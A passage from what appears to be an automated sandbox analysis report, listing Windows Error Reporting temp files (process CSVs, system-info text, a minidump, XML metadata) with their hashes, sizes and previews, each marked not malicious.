.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA32E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90008
Entropy (8bit):	3.074207819543315
Encrypted:	false
SSDEEP:	1536:/tk89s7Zoawp1A7OUrPYYaMKxfjsyWRsgLVJWkqq:/tk89s7Zoawp1A7OUrPYYaMKxbsyWRsS
MD5:	F8F5892B82574766E7D0113E6FB8A902
SHA1:	3994C1490586E7D6153DD0B979B019DB4FF2EB04
SHA-256:	168E0E82FC4D5C4B1ABC738F66D60D03F72DBF13AF532F3B3C3A311644CF4EE3
SHA-512:	134C0018862C2C0AB7EB31EC1E232CAF569CF99AAE285AEE3F5FA0F0FFCDD756B19C6BDC0DB8895983F18923CFD316E576A2A114B91BC00CE5DC9FDE0775B4EA
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3FA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6950054816123106
Encrypted:	false
SSDEEP:	96:TiZYWL2dW3Y8M1YAGrY2HqYEZTitAi14UlSAwPc4K/aT9IJMiOemITQZ:2ZD36yYvQaT9IJMi5hTQZ
MD5:	52282F3F7F02C33AC6849DB5E19FD309
SHA1:	E9479ACBF43E571673C6820D894B43F68A490C17
SHA-256:	AAEFEF18E44EED2282AE99B881AB0B151F9C24C786366F8DF9CEB2D7B5E89EA1
SHA-512:	009FAA95E8243E0EEFADC110464AAC356F77CAAEF2B3057355C0525786B6767342D5841C1D0FE23F8915EB137153FCF6302A9F3E6F66AA35CC6A099603E375D9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA63D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90022
Entropy (8bit):	3.073995192083876
Encrypted:	false
SSDEEP:	1536:AZi8fp7Zoawp/AfOUrPYYahXTfjsyWRsgLVoWkYU5+w:AZi8fp7Zoawp/AfOUrPYYahXTbsyWRs9
MD5:	B8C97CA570C21C82BF340F94CEA2E68F
SHA1:	4323A85B78F63EF5CF006F4568274C16F747E75E
SHA-256:	48C8770536F86E379B40AC17A277D24BCB348045F86814BCC1ACF89636E97DF4
SHA-512:	2BE63C56C2DEFC29D3C5D62EB30AE0FC398352D6611CB658DD86A5DD7C943F5273177611B1197687FCB3AA1C62A05A2E13B7199D93DFFCEEE9BC4B9553575212
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA748.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6948956220965656
Encrypted:	false
SSDEEP:	96:TiZYW0W0oFOzYVYjGuHYYEZrKtAi64jlS6ws7I5ah9YMeOemIfQZ:2ZD0SZ4kah9YMe5hfQZ
MD5:	FDF96AB40F2394EBF8076C684A5D276E
SHA1:	CA71194DB035093510725BDDEA98989C7B263819
SHA-256:	2DBDD9EE4AC773B291A42393686B0CCF696CB0902D67668DCC37DF3F5FF21091
SHA-512:	7F1267D2D5E852EC78FAD7876BBF18ED6F802CFE6E7D583D19A1CF8574967CE271F9D6E91F2C1714FD411026620F453898867978DE46E8FFE8492CC617F549A6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA92D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90020
Entropy (8bit):	3.0742400735838578
Encrypted:	false
SSDEEP:	1536:leu8G7Zoa2p5AkOUrPYYa/OXfjsyWRsgLVFWkoC:leu8G7Zoa2p5AkOUrPYYa/OXbsyWRsg9
MD5:	6E1D8D7F68BD4438C7A4C3FEE24DA788
SHA1:	0799965FE36A3FFC768E4A0113E9C1A2E5346168
SHA-256:	23C76EFD17B391BF62DEBA341B7E1796BA802B05041F799450E799372A9E6648
SHA-512:	77C59E94659326EA259E7FC7264CC63CA16D1A21274177279B217891C9AC4B39904107083A8204498AD59B47A1A58DC45C729A5D10B31382B8D55D97F9703941
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAAB5.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69429838933987
Encrypted:	false
SSDEEP:	96:TiZYWoxoPAjjsYNYlGLRU0HYYEZOJtAik43lSOHw/0WaR9/MfOemIRQZ:2ZDcEaPRd8PaR9/Mf5hRQZ
MD5:	83C47AC6B8203E279E80FA8724698A81
SHA1:	A1A5EE211AB99ED7F88F58D9EC3FA7DE7A1654F6
SHA-256:	96E2FC11F67E9C29FB67A2F54F5AA767C8D6048B55D373CFA8A72F13376816E5
SHA-512:	765824005F4E4806E781D2A20EFC15ED3B9C57CED19B842ED80E9D73D7D522B7F5B6428539D273BCAA710161FC217070CF5F70FCE5A1017CD86EB3B112DDD4B8
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERACE9.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90024
Entropy (8bit):	3.0739742670271823
Encrypted:	false
SSDEEP:	1536:e+PMV7Zoa2p2AkOGrPYYaWXWVjsyWRsgLVLWk6Nsf:e+PMV7Zoa2p2AkOGrPYYaWXWJsyWRsgz
MD5:	C17F6DE171E0B0714B5C5F52EBAFD031
SHA1:	37542A40CA0D64D3929C0D4F91392EB2511077D2
SHA-256:	BA17FA8E6F1F13F95C1716E816FEA6C5AB050B5275C9160C99964A2CEEACE202
SHA-512:	489CBEFFE22457AF6914D810B190B4318FD4B188842A28E58E2B9E7A4C264493C07DC7FC3E2C1FD12F8F4EE0649224DFD0542A8693C8BA4F322CB34BC1FFA9D8
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERACFF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Feb 5 09:57:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	94240
Entropy (8bit):	2.1450507101484066
Encrypted:	false
SSDEEP:	384:HFZYQxlvBmBpvfbbxVhbaGB6OqqPk4oYvil/CnE/BuGid:lqAlvBmJbaGUOqqPk4on/5W
MD5:	460F061EB24438C4106BCEB81C36E9B7
SHA1:	8FFED861F0E6EC7B36E5755A370F0090394B0A3A
SHA-256:	6A3469A1B2D366F127B69C09D2666D7AF0855497F928FDDB5A76A5268B04D049
SHA-512:	C90EF5A9747523D94092A778AC09384E2BEFCA36083BAF61FC4D9DBBA75B01E4351DBF46CBE68D1B5F1CB04868ED9AA23EFACEBFA9830C2461DF8369B0589888
Malicious:	false
Preview:	MDMP..a..... ..........e............T...............h.......<...$.......$...@8..........`.......8...........T............7...9..........`...........L...............................................................................eJ..............GenuineIntel............T..............e............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE38.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8292
Entropy (8bit):	3.6950642953682777
Encrypted:	false
SSDEEP:	192:R6l7wVeJmT6gb6Y9pSUf03gmfmjpr289bPqsfJFm:R6lXJq686YDSUc3gmfmxPJfC
MD5:	898BB0CFE5B75B03A7CE504B9071A270
SHA1:	9B8459AA38412C793C6B2EC7DA8FC9D93A9CC5B2
SHA-256:	BF3DBB37E93D47ED0CD6A062A77B97DFD37C98F602B57797E5057D2B31EA60A7
SHA-512:	94F1845542D98540872BD3FBECFD8F2C126E800249DDBCFA56A31673BE9BE285FEE5C4B4D8A894E08D8726FF89EC2FC2743A508B933DF2C131CAE619B111C60B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE51.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694984494385642
Encrypted:	false
SSDEEP:	96:TiZYWrpTZAHYQjY8uGHwHYYEZVPtAij4XlSRwTW2E3Raw9pMyOeZIHQZ:2ZD/C7B3MKRaw9pMy5GHQZ
MD5:	1B8A9A9429AB4164B15D99D4C77F5078
SHA1:	B5CAC2C8C452FBBCA12A0F2652E60DBDF9BB330B
SHA-256:	DEB6EAD25E16A19E4E403128C9013D8AD5A14070C7C9CCEBF9026B02296DA451
SHA-512:	357552445AA45F8804686E5F1B82891037F19AB2579E664C0FE2B5A7DC4FB3B863486087FFCFC09AC57BBF2DF45BECC3373D7DF80F46FFBF69D34F26B6991769
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEE5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.443415793902564
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI9siCWpW8VYrPYm8M4J0lBmPWBMFVj+q8mVBUuBNcfieTHdd:uIjfzI7yiD7VfJ0lMW+jxV6uMfPTHdd
MD5:	D6F76309EBF38B4BC1B5E220FA9127D0
SHA1:	B1B09AA359B32967CCE4C2F79A54339D03F05F6B
SHA-256:	7B2D2F14D08960E336C582640E19C7D0A5F7A878459AB8AE6D2174B8756670A2
SHA-512:	8CDEA12B66BAFAACD232C1EA024B6FCB4D83ECB5F2FF233EF672EFC54226E8144CFE2B99B0B9ADC62BAC7CC25B1BB22A60C7B0F03B468A570556CFD692C2193D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="180060" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEF3.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88734
Entropy (8bit):	3.078406163987137
Encrypted:	false
SSDEEP:	1536:Hb8ZZdGep3bzzQ9sRbXG7IotgDjKO9aXNEbGyj:Hb8ZZdGep3bzzQ9sRbXG7IotgvKO9aXQ
MD5:	659BDAD40888DBB168A796C1D6DCDA4A
SHA1:	D62D685255218314BA00A6E183494D10AAD9B4D2
SHA-256:	7D131018A7D2D48E950CBA1822A646F2827C7522A44AC110C1EC528384375E0C
SHA-512:	52713989D4295508E45CED46E603D4B8F3A9E996D8D1C0811B99CB38EA5073B0BEB0577AA36D001806B95B1E61991190E16DB7B5D85D62F5295D2C8715476C48
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFCE.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.68504890291199
Encrypted:	false
